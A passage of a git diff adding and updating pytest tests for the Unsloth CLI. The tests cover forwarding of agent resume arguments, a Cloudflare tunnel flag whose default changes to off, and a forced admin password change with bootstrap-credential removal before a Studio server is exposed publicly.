+            ["--yolo", "--resume", "session-id", "-z", "follow up"],
+            [
+                "chat",
+                "-Q",
+                "--accept-hooks",
+                "--yolo",
+                "--resume",
+                "session-id",
+                "-q",
+                "follow up",
+            ],
+        ),
+        (
+            ["--accept-hooks", "--resume", "session-id", "-z", "follow up"],
+            [
+                "chat",
+                "-Q",
+                "--yolo",
+                "--accept-hooks",
+                "--resume",
+                "session-id",
+                "-q",
+                "follow up",
+            ],
+        ),
+        (
+            ["--resume", "chat", "-z", "follow up"],
+            [
+                "chat",
+                "-Q",
+                "--yolo",
+                "--accept-hooks",
+                "--resume",
+                "chat",
+                "-q",
+                "follow up",
+            ],
+        ),
+        (["--resume", "session-id"], ["--resume", "session-id"]),
+        (["-z", "new session"], ["-z", "new session"]),
+    ],
+)
+def test_hermes_resume_oneshot_args(args, expected):
+    assert start._hermes_resume_oneshot_args(args) == expected
+
+
+def test_hermes_resume_oneshot_uses_session_aware_chat(fake_studio, monkeypatch):
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/hermes")
+    captured = _capture_launch(
+        monkeypatch,
+        ["hermes", "--persist", "--resume", "session-id", "-z", "follow up"],
+    )
+    assert captured["command"][1:] == [
+        "chat",
+        "-Q",
+        "--yolo",
+        "--accept-hooks",
+        "--resume",
+        "session-id",
+        "-q",
+        "follow up",
+    ]
+
+
+@pytest.mark.parametrize("usage_arg", ["--usage-file", "--usage-file=usage.json"])
+def test_hermes_resume_oneshot_rejects_usage_file(monkeypatch, usage_arg):
+    monkeypatch.setattr(
+        start,
+        "_connect",
+        lambda *args, **kwargs: pytest.fail("argument validation must run before connect"),
+    )
+    argv = ["hermes", "--resume", "session-id", "-z", "follow up", usage_arg]
+    if usage_arg == "--usage-file":
+        argv.append("usage.json")
+    result = CliRunner().invoke(start.start_app, argv)
+    assert result.exit_code == 2
+    assert "cannot resume a one-shot session with --usage-file" in result.output
+
+
+def test_native_resume_flag_passes_through_unchanged(fake_studio, monkeypatch):
+    # The persistence flag is --persist, NOT --resume, so an agent's own
+    # `--resume <id>` (e.g. `unsloth start claude --resume <guid>`) still flows
+    # through to the agent verbatim and is not swallowed as an Unsloth option.
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/claude")
+    monkeypatch.setattr(start, "_claude_flags", lambda *a, **k: [])
+    captured = _capture_launch(monkeypatch, ["claude", "--resume", "some-session-guid"])
+    assert captured["command"][-2:] == ["--resume", "some-session-guid"]
+    # Unsloth never auto-appends its own resume token when the user drives resume.
+    assert captured["command"].count("--resume") == 1
+    assert "--continue" not in captured["command"]
diff --git a/unsloth_cli/tests/test_studio_cloudflare_flag.py b/unsloth_cli/tests/test_studio_cloudflare_flag.py
index c09ac8b998..7287737f75 100644
--- a/unsloth_cli/tests/test_studio_cloudflare_flag.py
+++ b/unsloth_cli/tests/test_studio_cloudflare_flag.py
@@ -1,10 +1,10 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Tests for the `--cloudflare/--no-cloudflare` Studio flag.
+"""Tests for the `--cloudflare/--no-cloudflare` Unsloth flag.
 
-Pins the typer Option (default on) on both `unsloth studio` and
-`unsloth studio run`, and that the chosen polarity reaches the re-exec'd
+Pins the typer Option (tri-state, default off / None) on both `unsloth studio`
+and `unsloth studio run`, and that the chosen polarity reaches the re-exec'd
 child and run_server. Modeled on test_studio_run_parallel_flag.py.
 """
 
@@ -33,7 +33,7 @@ _BASE = ["--model", "unsloth/Qwen3-1.7B-GGUF"]
 # ── option registration ──────────────────────────────────────────────
 
 
-def test_run_exposes_cloudflare_option_default_on():
+def test_run_exposes_cloudflare_option_default_off():
     import inspect
 
     sig = inspect.signature(_studio().run)
@@ -41,16 +41,16 @@ def test_run_exposes_cloudflare_option_default_on():
     opt = sig.parameters["cloudflare"].default
     decls = set(getattr(opt, "param_decls", []) or [])
     assert "--cloudflare/--no-cloudflare" in decls
-    assert getattr(opt, "default", None) is True
+    assert getattr(opt, "default", "missing") is None
 
 
-def test_studio_default_exposes_cloudflare_option_default_on():
+def test_studio_default_exposes_cloudflare_option_default_off():
     import inspect
 
     sig = inspect.signature(_studio().studio_default)
     assert "cloudflare" in sig.parameters
     opt = sig.parameters["cloudflare"].default
-    assert getattr(opt, "default", None) is True
+    assert getattr(opt, "default", "missing") is None
 
 
 # ── re-exec forwarding: `unsloth studio run` ─────────────────────────
@@ -69,6 +69,11 @@ def _install_run_reexec_capture(monkeypatch, *, platform = "linux"):
     monkeypatch.setattr(sys, "prefix", "/nonexistent/outer/venv")
     fake_venv = Path("/fake/studio/venv/unsloth_studio")
     monkeypatch.setattr(studio_mod, "_studio_venv_python", lambda: fake_venv / "bin" / "python")
+    # A built frontend dist is present so the public-launch UI check passes
+    # deterministically (independent of whether the repo dist was built).
+    monkeypatch.setattr(
+        studio_mod, "_find_frontend_dist", lambda: Path("/fake/studio/frontend/dist")
+    )
     fake_bin = fake_venv / "bin" / "unsloth"
     real_is_file = Path.is_file
     monkeypatch.setattr(
@@ -107,19 +112,23 @@ def _invoke_run(monkeypatch, args):
 
 
 @pytest.mark.parametrize(
-    "user_flag,expected,unexpected",
+    "extra_flags,expected,unexpected",
     [
-        (None, "--cloudflare", "--no-cloudflare"),  # default on
-        ("--cloudflare", "--cloudflare", "--no-cloudflare"),
-        ("--no-cloudflare", "--no-cloudflare", "--cloudflare"),
+        # Default (no flag) forwards --no-cloudflare explicitly so a mixed-version
+        # child venv (old default: --cloudflare on) can't re-enable the tunnel.
+        ([], "--no-cloudflare", "--cloudflare"),
+        (["--cloudflare"], "--cloudflare", "--no-cloudflare"),
+        (["--no-cloudflare"], "--no-cloudflare", "--cloudflare"),
+        # --secure implies the tunnel; never forward --no-cloudflare with it.
+        (["--secure"], None, "--no-cloudflare"),
     ],
 )
-def test_run_reexec_forwards_cloudflare_polarity(monkeypatch, user_flag, expected, unexpected):
-    extras = [user_flag] if user_flag else []
-    captured = _invoke_run(monkeypatch, _BASE + extras)
+def test_run_reexec_forwards_cloudflare_polarity(monkeypatch, extra_flags, expected, unexpected):
+    captured = _invoke_run(monkeypatch, _BASE + extra_flags)
     assert len(captured) == 1, captured
     argv = captured[0]
-    assert expected in argv, f"expected {expected} in child argv; got {argv}"
+    if expected is not None:
+        assert expected in argv, f"expected {expected} in child argv; got {argv}"
     assert unexpected not in argv, f"unexpected {unexpected} in child argv; got {argv}"
 
 
@@ -142,7 +151,11 @@ def _invoke_studio_default(
     fake_venv = Path("/fake/studio/venv/unsloth_studio")
     monkeypatch.setattr(studio_mod, "_studio_venv_python", lambda: fake_venv / "bin" / "python")
     monkeypatch.setattr(studio_mod, "_find_run_py", lambda: Path("/fake/studio/run.py"))
-    monkeypatch.setattr(studio_mod, "_find_frontend_dist", lambda: None)
+    # A built frontend dist is present so the public-launch UI check passes; this
+    # suite exercises flag forwarding, not the missing-dist lockout guard.
+    monkeypatch.setattr(
+        studio_mod, "_find_frontend_dist", lambda: Path("/fake/studio/frontend/dist")
+    )
     monkeypatch.setattr(sys, "platform", platform)
 
     def fake_execvp(file, argv):
@@ -158,18 +171,24 @@ def _invoke_studio_default(
 
 
 @pytest.mark.parametrize(
-    "user_flag,expected,unexpected",
+    "extra_flags,expected,unexpected",
     [
-        (None, "--cloudflare", "--no-cloudflare"),
-        ("--no-cloudflare", "--no-cloudflare", "--cloudflare"),
+        # Default (no flag) forwards --no-cloudflare explicitly: _find_run_py can fall
+        # back to an older studio-venv run.py (default on), so a mixed install must
+        # not re-enable the tunnel.
+        ([], "--no-cloudflare", "--cloudflare"),
+        (["--cloudflare"], "--cloudflare", "--no-cloudflare"),
+        (["--no-cloudflare"], "--no-cloudflare", "--cloudflare"),
+        # --secure implies the tunnel; never forward --no-cloudflare with it.
+        (["--secure"], None, "--no-cloudflare"),
     ],
 )
-def test_studio_default_reexec_forwards_cloudflare(monkeypatch, user_flag, expected, unexpected):
-    extras = [user_flag] if user_flag else []
-    captured = _invoke_studio_default(monkeypatch, ["-H", "0.0.0.0"] + extras)
+def test_studio_default_reexec_forwards_cloudflare(monkeypatch, extra_flags, expected, unexpected):
+    captured = _invoke_studio_default(monkeypatch, ["-H", "0.0.0.0"] + extra_flags)
     assert len(captured) == 1, captured
     argv = captured[0]
-    assert expected in argv, f"expected {expected}; got {argv}"
+    if expected is not None:
+        assert expected in argv, f"expected {expected}; got {argv}"
     assert unexpected not in argv, f"unexpected {unexpected}; got {argv}"
 
 
@@ -182,7 +201,10 @@ class _RunServerCaptured(SystemExit):
         self.kwargs = dict(kwargs)
 
 
-@pytest.mark.parametrize("user_flag,expected", [(None, True), ("--no-cloudflare", False)])
+@pytest.mark.parametrize(
+    "user_flag,expected",
+    [(None, None), ("--cloudflare", True), ("--no-cloudflare", False)],
+)
 def test_run_in_venv_passes_cloudflare_to_run_server(monkeypatch, user_flag, expected):
     import types
 
@@ -348,21 +370,22 @@ def test_run_silent_emits_cloudflare_notice_for_external_bind(monkeypatch):
     assert ("print", {"secure": False, "loopback_host": "127.0.0.1"}) in calls
 
 
-# ── parent-level --no-cloudflare with a subcommand is rejected ───────
+# ── parent-level --cloudflare/--no-cloudflare with a subcommand is rejected ─
 
 
-def test_studio_default_rejects_no_cloudflare_with_subcommand(monkeypatch):
-    # `unsloth studio --no-cloudflare run ...` would not reach the subcommand,
-    # so it must error (mirrors --parallel) rather than silently still tunnel.
+@pytest.mark.parametrize("flag", ["--cloudflare", "--no-cloudflare"])
+def test_studio_default_rejects_cloudflare_flag_with_subcommand(monkeypatch, flag):
+    # `unsloth studio --cloudflare run ...` (or --no-cloudflare) would not reach the
+    # subcommand, so it must error (mirrors --parallel) rather than silently drop it.
     import typer as _typer
 
     studio_mod = _studio()
     app = _typer.Typer()
     app.add_typer(studio_mod.studio_app, name = "studio")
-    result = CliRunner().invoke(app, ["studio", "--no-cloudflare", "run", "--model", "X"])
+    result = CliRunner().invoke(app, ["studio", flag, "run", "--model", "X"])
     assert result.exit_code == 2, result.output
     combined = (result.output or "") + (getattr(result, "stderr", "") or "")
-    assert "--no-cloudflare" in combined, combined
+    assert flag in combined, combined
 
 
 # ── run() tears the server + tunnel down if startup aborts ───────────
diff --git a/unsloth_cli/tests/test_studio_password_prompt.py b/unsloth_cli/tests/test_studio_password_prompt.py
new file mode 100644
index 0000000000..6e9a2c1d52
--- /dev/null
+++ b/unsloth_cli/tests/test_studio_password_prompt.py
@@ -0,0 +1,1397 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for the forced terminal password change before public (tunnel) exposure.
+
+`unsloth studio --secure` / `--cloudflare` (wildcard bind) must, when the admin
+account still has its seeded bootstrap password, prompt for a new password in
+the terminal BEFORE any re-exec or server exists; without a terminal it warns
+and falls back to the backend bootstrap timeout. Modeled on
+test_studio_cloudflare_flag.py.
+"""
+
+from __future__ import annotations
+
+import sqlite3
+import sys
+from pathlib import Path
+
+import pytest
+from typer.testing import CliRunner
+
+
+_REPO_ROOT = Path(__file__).resolve().parents[2]
+if str(_REPO_ROOT) not in sys.path:
+    sys.path.insert(0, str(_REPO_ROOT))
+
+
+def _studio():
+    from unsloth_cli.commands import studio as _studio_mod
+    return _studio_mod
+
+
+_BASE = ["--model", "unsloth/Qwen3-1.7B-GGUF"]
+_NEW_PW = "brand-new-password"
+
+
+# ── pure trigger matrix ──────────────────────────────────────────────
+
+
+@pytest.mark.parametrize(
+    "cloudflare,host,secure,api_only,expected",
+    [
+        # --secure always implies the tunnel (host already forced to loopback).
+        (None, "127.0.0.1", True, False, True),
+        (True, "127.0.0.1", True, False, True),
+        (None, "127.0.0.1", True, True, True),
+        # --cloudflare tunnels only non-api-only wildcard binds.
+        (True, "0.0.0.0", False, False, True),
+        (True, "::", False, False, True),
+        (True, "127.0.0.1", False, False, False),
+        (True, "0.0.0.0", False, True, False),
+        # Off/unset never prompts without --secure.
+        (None, "0.0.0.0", False, False, False),
+        (False, "0.0.0.0", False, False, False),
+        (None, "127.0.0.1", False, False, False),
+    ],
+)
+def test_should_prompt_password_change_matrix(cloudflare, host, secure, api_only, expected):
+    assert (
+        _studio()._should_prompt_password_change(
+            cloudflare = cloudflare, host = host, secure = secure, api_only = api_only
+        )
+        is expected
+    )
+
+
+# ── shared harness ───────────────────────────────────────────────────
+
+
+class _ExecCaptured(SystemExit):
+    def __init__(self, argv):
+        super().__init__(0)
+        self.argv = list(argv)
+
+
+def _auth_db(studio_home: Path) -> Path:
+    return studio_home / "auth" / "auth.db"
+
+
+def _seed_auth(studio_mod, *, must_change = True):
+    """Create the CLI-side default admin (must_change_password=1) plus one
+    refresh token, mirroring a fresh install that served a login."""
+    conn = studio_mod._connect_auth_db()
+    try:
+        studio_mod._ensure_cli_default_admin(conn)
+        if not must_change:
+            conn.execute("UPDATE auth_user SET must_change_password = 0")
+        conn.execute(
+            "INSERT INTO refresh_tokens (token_hash, username, expires_at) VALUES (?, ?, ?)",
+            ("deadbeef", studio_mod.DEFAULT_ADMIN_USERNAME, "2099-01-01T00:00:00"),
+        )
+        conn.commit()
+        row = conn.execute(
+            "SELECT password_hash, jwt_secret FROM auth_user WHERE username = ?",
+            (studio_mod.DEFAULT_ADMIN_USERNAME,),
+        ).fetchone()
+        return {"password_hash": row[0], "jwt_secret": row[1]}
+    finally:
+        conn.close()
+
+
+def _auth_state(studio_mod):
+    conn = sqlite3.connect(_auth_db(studio_mod.STUDIO_HOME))
+    try:
+        row = conn.execute(
+            "SELECT password_hash, jwt_secret, must_change_password FROM auth_user "
+            "WHERE username = ?",
+            (studio_mod.DEFAULT_ADMIN_USERNAME,),
+        ).fetchone()
+        n_refresh = conn.execute("SELECT COUNT(*) FROM refresh_tokens").fetchone()[0]
+        return {
+            "password_hash": row[0],
+            "jwt_secret": row[1],
+            "must_change_password": row[2],
+            "n_refresh": n_refresh,
+        }
+    finally:
+        conn.close()
+
+
+def _install_prompt_env(
+    monkeypatch,
+    tmp_path,
+    *,
+    interactive,
+    scripted = _NEW_PW,
+):
+    """Tmp STUDIO_HOME + fake tty + scripted prompt. Returns the event log that
+    records prompt calls and re-exec argv in order."""
+    studio_mod = _studio()
+    events = []
+
+    monkeypatch.setattr(studio_mod, "STUDIO_HOME", tmp_path)
+    monkeypatch.setattr(studio_mod, "_prompt_streams_interactive", lambda: interactive)
+    # cloudflared is "available" by default so the headless --secure strip path
+    # proceeds without a real download; the unavailable-tunnel guard has its own
+    # dedicated test that overrides this.
+    monkeypatch.setattr(studio_mod, "_tunnel_binary_confirmed_unavailable", lambda: False)
+
+    def fake_prompt(verify_current, out = None):
+        events.append(("prompt", verify_current))
+        if isinstance(scripted, BaseException):
+            raise scripted
+        return scripted
+
+    monkeypatch.setattr(studio_mod._password_prompt, "prompt_new_password", fake_prompt)
+    return events
+
+
+def _install_studio_default_reexec(monkeypatch, events):
+    studio_mod = _studio()
+    monkeypatch.setattr(sys, "prefix", "/nonexistent/outer/venv")
+    monkeypatch.setattr(studio_mod, "_ensure_studio_env_exported", lambda: None)
+    fake_venv = Path("/fake/studio/venv/unsloth_studio")
+    monkeypatch.setattr(studio_mod, "_studio_venv_python", lambda: fake_venv / "bin" / "python")
+    monkeypatch.setattr(studio_mod, "_find_run_py", lambda: Path("/fake/studio/run.py"))
+    # A built frontend dist is present by default so the public-launch UI check
+    # passes; the no-dist lockout guard has its own dedicated test.
+    monkeypatch.setattr(
+        studio_mod, "_find_frontend_dist", lambda: Path("/fake/studio/frontend/dist")
+    )
+    monkeypatch.setattr(sys, "platform", "linux")
+
+    def fake_execvp(file, argv):
+        events.append(("exec", list(argv)))
+        raise _ExecCaptured(argv)
+
+    monkeypatch.setattr(studio_mod.os, "execvp", fake_execvp)
+
+
+def _install_run_reexec(monkeypatch, events):
+    studio_mod = _studio()
+    monkeypatch.setattr(sys, "prefix", "/nonexistent/outer/venv")
+    fake_venv = Path("/fake/studio/venv/unsloth_studio")
+    monkeypatch.setattr(studio_mod, "_studio_venv_python", lambda: fake_venv / "bin" / "python")
+    # A built frontend dist is present by default so the public-launch UI check
+    # passes deterministically (independent of whether the repo dist was built);
+    # the missing-dist lockout guard has its own dedicated test.
+    monkeypatch.setattr(
+        studio_mod, "_find_frontend_dist", lambda: Path("/fake/studio/frontend/dist")
+    )
+    fake_bin = fake_venv / "bin" / "unsloth"
+    real_is_file = Path.is_file
+    monkeypatch.setattr(
+        Path,
+        "is_file",
+        lambda self: True if str(self) == str(fake_bin) else real_is_file(self),
+    )
+    from unsloth_cli import _tool_policy as _tp_mod
+
+    monkeypatch.setattr(
+        _tp_mod,
+        "resolve_tool_policy",
+        lambda host, flag, yes, silent: False if flag is None else bool(flag),
+    )
+    monkeypatch.setattr(sys, "platform", "linux")
+
+    def fake_execvp(file, argv):
+        events.append(("exec", list(argv)))
+        raise _ExecCaptured(argv)
+
+    monkeypatch.setattr(studio_mod.os, "execvp", fake_execvp)
+
+
+def _invoke_studio_default(monkeypatch, events, args):
+    import typer as _typer
+
+    studio_mod = _studio()
+    _install_studio_default_reexec(monkeypatch, events)
+    app = _typer.Typer()
+    app.command()(studio_mod.studio_default)
+    return CliRunner().invoke(app, args, catch_exceptions = True)
+
+
+def _invoke_run(monkeypatch, events, args):
+    import typer as _typer
+
+    studio_mod = _studio()
+    _install_run_reexec(monkeypatch, events)
+    app = _typer.Typer()
+    app.command(
+        context_settings = {"allow_extra_args": True, "ignore_unknown_options": True},
+    )(studio_mod.run)
+    return CliRunner().invoke(app, args, catch_exceptions = True)
+
+
+# ── plain `unsloth studio` ───────────────────────────────────────────
+
+
+def test_studio_default_secure_prompts_and_updates_before_reexec(monkeypatch, tmp_path):
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = True)
+    before = _seed_auth(studio_mod)
+
+    _invoke_studio_default(monkeypatch, events, ["--secure"])
+
+    kinds = [kind for kind, _ in events]
+    assert kinds == ["prompt", "exec"], events
+
+    after = _auth_state(studio_mod)
+    assert after["must_change_password"] == 0
+    assert after["password_hash"] != before["password_hash"]
+    assert after["jwt_secret"] != before["jwt_secret"]
+    assert after["n_refresh"] == 0
+    assert not (tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE).exists()
+
+
+def test_studio_default_prompt_rejects_current_password(monkeypatch, tmp_path):
+    # The verify_current callback handed to the prompt must recognize the
+    # seeded bootstrap password (hash compare with the stored salt).
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = True)
+    _seed_auth(studio_mod)
+    bootstrap_pw = (tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE).read_text()
+
+    _invoke_studio_default(monkeypatch, events, ["--secure"])
+
+    verify_current = events[0][1]
+    assert verify_current(bootstrap_pw) is True
+    assert verify_current("something-else-entirely") is False
+
+
+def test_studio_default_non_tty_warns_and_proceeds(monkeypatch, tmp_path):
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+
+    result = _invoke_studio_default(monkeypatch, events, ["--secure"])
+
+    kinds = [kind for kind, _ in events]
+    assert kinds == ["exec"], events
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "bootstrap password" in combined
+    assert _auth_state(studio_mod)["must_change_password"] == 1
+
+
+def test_studio_default_non_tty_deletes_bootstrap_password_file(monkeypatch, tmp_path):
+    # Mixed-version safety: a headless public launch must delete the seeded
+    # plaintext credential before re-exec so a fresh child of ANY version reads
+    # None from disk and never injects it into the public HTML. The launch still
+    # proceeds (re-exec captured), and the DB flag stays set so the login page
+    # still forces a change and the bootstrap shutdown timer still arms.
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+    bootstrap_file = tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    assert bootstrap_file.exists()
+
+    _invoke_studio_default(monkeypatch, events, ["--secure"])
+
+    assert not bootstrap_file.exists()
+    kinds = [kind for kind, _ in events]
+    assert kinds == ["exec"], events
+    assert _auth_state(studio_mod)["must_change_password"] == 1
+
+
+def test_studio_default_reexec_outer_runpy_keeps_bootstrap_for_local_recovery(
+    monkeypatch, tmp_path
+):
+    # Regression (Codex 3572165931): when the re-exec target is THIS install's own
+    # run.py, the child's pre-bind gate sets suppress_bootstrap_injection and never
+    # serves the seeded credential publicly, so the parent strip is unnecessary.
+    # Skipping it means a --secure launch whose tunnel later fails to connect does
+    # not lock the user out, and .bootstrap_password stays for local recovery.
+    import typer as _typer
+
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+    bootstrap_file = tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    assert bootstrap_file.exists()
+
+    _install_studio_default_reexec(monkeypatch, events)
+    # Re-exec target IS this install's outer run.py -> child self-suppresses.
+    outer_run_py = studio_mod._PACKAGE_ROOT / "studio" / "backend" / "run.py"
+    monkeypatch.setattr(studio_mod, "_find_run_py", lambda: outer_run_py)
+
+    app = _typer.Typer()
+    app.command()(studio_mod.studio_default)
+    result = CliRunner().invoke(app, ["--secure"], catch_exceptions = True)
+
+    # Strip skipped: file preserved, must_change still set, launch still re-execs.
+    assert bootstrap_file.exists(), result.output
+    assert _auth_state(studio_mod)["must_change_password"] == 1
+    assert "exec" in [k for k, _ in events], events
+
+
+def test_studio_default_non_tty_persists_seeded_admin_on_fresh_home(monkeypatch, tmp_path):
+    # Fresh STUDIO_HOME (no pre-seed): the gate's own _ensure_cli_default_admin
+    # does the INSERT. It must COMMIT that seed before re-exec, or conn.close()
+    # rolls it back and an OLD child would find no admin, regenerate a fresh
+    # bootstrap password + file, and inject THAT -- defeating the file deletion.
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    # Deliberately NO _seed_auth(): exercise the gate seeding a fresh DB itself.
+
+    _invoke_studio_default(monkeypatch, events, ["--secure"])
+
+    # The seeded admin persists (committed) so an old child sees it and does not
+    # regenerate; the bootstrap file stays deleted; the launch still re-execs.
+    state = _auth_state(studio_mod)
+    assert state["must_change_password"] == 1
+    assert not (tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE).exists()
+    kinds = [kind for kind, _ in events]
+    assert kinds == ["exec"], events
+
+
+def test_studio_default_non_tty_fails_closed_when_bootstrap_removal_fails(monkeypatch, tmp_path):
+    # Removing .bootstrap_password IS the protection on this path. If unlink
+    # fails (locked file / read-only auth dir) the credential is still on disk
+    # for an old child to inject, so the launch must fail closed, not publish.
+    import pathlib
+
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+    bootstrap_file = tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    assert bootstrap_file.exists()
+
+    _real_unlink = pathlib.Path.unlink
+
+    def _boom_unlink(self, *a, **k):
+        if self.name == studio_mod.BOOTSTRAP_PASSWORD_FILE:
+            raise OSError("locked")
+        return _real_unlink(self, *a, **k)
+
+    monkeypatch.setattr(pathlib.Path, "unlink", _boom_unlink)
+
+    result = _invoke_studio_default(monkeypatch, events, ["--secure"])
+
+    kinds = [kind for kind, _ in events]
+    assert "exec" not in kinds, events
+    assert result.exit_code == 1, result.output
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "refusing to publish" in combined.lower()
+    # The file remains (removal failed) and the DB flag is untouched.
+    assert bootstrap_file.exists()
+    assert _auth_state(studio_mod)["must_change_password"] == 1
+
+
+class _FailingSelectConn:
+    """Wrap a real auth connection but raise on the gate's must_change SELECT,
+    so seeding + commit still happen and only the read-back fails (a locked-DB
+    window that lands after _ensure_cli_default_admin already wrote the file)."""
+
+    def __init__(self, inner):
+        self._inner = inner
+
+    def execute(self, sql, *args, **kwargs):
+        if sql.lstrip().startswith("SELECT password_salt"):
+            raise sqlite3.OperationalError("database is locked")
+        return self._inner.execute(sql, *args, **kwargs)
+
+    def __getattr__(self, name):
+        return getattr(self._inner, name)
+
+
+class _FailingCommitConn:
+    """Wrap a real auth connection but raise on commit(), so a fresh install's
+    seeded admin INSERT rolls back on close() -- the seed-committed guarantee the
+    gate depends on is not met, even though _ensure_cli_default_admin already
+    wrote the .bootstrap_password file."""
+
+    def __init__(self, inner):
+        self._inner = inner
+
+    def commit(self):
+        raise sqlite3.OperationalError("database is locked")
+
+    def __getattr__(self, name):
+        return getattr(self._inner, name)
+
+
+def test_studio_default_connect_failure_fails_closed(monkeypatch, tmp_path):
+    # If the auth DB cannot even be opened (transient lock / unwritable home) we
+    # cannot confirm a committed admin exists, so a re-exec'd old studio-venv child
+    # could find no admin, regenerate a fresh bootstrap credential, and serve it
+    # publicly -- stripping a file we cannot vouch for would not stop that. Refuse
+    # rather than publish; a transient lock clears on retry, and the existing
+    # credential file is left untouched so a retry can still prompt.
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = True)
+    _seed_auth(studio_mod)
+    bootstrap_file = tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    assert bootstrap_file.exists()
+
+    monkeypatch.setattr(
+        studio_mod,
+        "_connect_auth_db",
+        lambda: (_ for _ in ()).throw(sqlite3.OperationalError("database is locked")),
+    )
+
+    result = _invoke_studio_default(monkeypatch, events, ["--secure"])
+
+    kinds = [kind for kind, _ in events]
+    assert "exec" not in kinds, events
+    assert result.exit_code == 1, result.output
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "refusing to publish" in combined.lower()
+    # Not stripped: a retry can still prompt/strip once the lock clears.
+    assert bootstrap_file.exists()
+
+
+def test_studio_default_seed_commit_failure_fails_closed(monkeypatch, tmp_path):
+    # Fresh install: the gate's own _ensure_cli_default_admin does the INSERT and
+    # writes .bootstrap_password, but the commit fails (write lock held past
+    # busy_timeout). The uncommitted admin rolls back on close, so a re-exec'd old
+    # child would find no admin and regenerate + serve a fresh default credential;
+    # stripping cannot stop a regeneration. The gate must fail closed.
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    # Deliberately NO _seed_auth(): the gate seeds the fresh DB itself, then commit fails.
+    real_connect = studio_mod._connect_auth_db
+    monkeypatch.setattr(studio_mod, "_connect_auth_db", lambda: _FailingCommitConn(real_connect()))
+
+    result = _invoke_studio_default(monkeypatch, events, ["--secure"])
+
+    kinds = [kind for kind, _ in events]
+    assert "exec" not in kinds, events
+    assert result.exit_code == 1, result.output
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "refusing to publish" in combined.lower()
+    # The half-written seed file is stripped, and no admin row was committed.
+    assert not (tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE).exists()
+    verify = sqlite3.connect(_auth_db(tmp_path))
+    try:
+        assert verify.execute("SELECT COUNT(*) FROM auth_user").fetchone()[0] == 0
+    finally:
+        verify.close()
+
+
+def test_studio_default_missing_venv_exits_before_stripping_bootstrap(monkeypatch, tmp_path):
+    # Regression: the venv/run.py launchability check must run BEFORE the headless
+    # gate strips .bootstrap_password. Otherwise a failed launch leaves the admin
+    # at must_change_password=1 with no password to log in (lockout until
+    # reset-password). With the venv missing, exit without stripping the file.
+    import typer as _typer
+
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+    bootstrap_file = tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    assert bootstrap_file.exists()
+
+    monkeypatch.setattr(sys, "prefix", "/nonexistent/outer/venv")
+    monkeypatch.setattr(studio_mod, "_studio_venv_python", lambda: None)  # venv missing
+    monkeypatch.setattr(studio_mod, "_find_run_py", lambda: None)
+
+    app = _typer.Typer()
+    app.command()(studio_mod.studio_default)
+    result = CliRunner().invoke(app, ["--secure"], catch_exceptions = True)
+
+    assert result.exit_code == 1, result.output
+    # The seeded file survives: launchability failed BEFORE the gate could strip it.
+    assert bootstrap_file.exists()
+    assert _auth_state(studio_mod)["must_change_password"] == 1
+    # The gate never ran (no prompt, no strip).
+    assert events == [], events
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "not set up" in combined.lower()
+
+
+def test_studio_default_missing_frontend_exits_before_stripping_bootstrap(monkeypatch, tmp_path):
+    # Regression (item B): a public UI launch needs a built frontend dist -- the
+    # login page is the ONLY way to change the seeded password. Resolve it BEFORE
+    # the headless gate strips .bootstrap_password, so a missing dist aborts the
+    # launch without stripping (no lockout at must_change_password=1 with nothing
+    # left to log in with).
+    import typer as _typer
+
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+    bootstrap_file = tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    assert bootstrap_file.exists()
+
+    # Launcher present, but no built frontend dist.
+    monkeypatch.setattr(sys, "prefix", "/nonexistent/outer/venv")
+    fake_venv = Path("/fake/studio/venv/unsloth_studio")
+    monkeypatch.setattr(studio_mod, "_studio_venv_python", lambda: fake_venv / "bin" / "python")
+    monkeypatch.setattr(studio_mod, "_find_run_py", lambda: Path("/fake/studio/run.py"))
+    monkeypatch.setattr(studio_mod, "_find_frontend_dist", lambda: None)
+
+    app = _typer.Typer()
+    app.command()(studio_mod.studio_default)
+    result = CliRunner().invoke(app, ["--secure"], catch_exceptions = True)
+
+    assert result.exit_code == 1, result.output
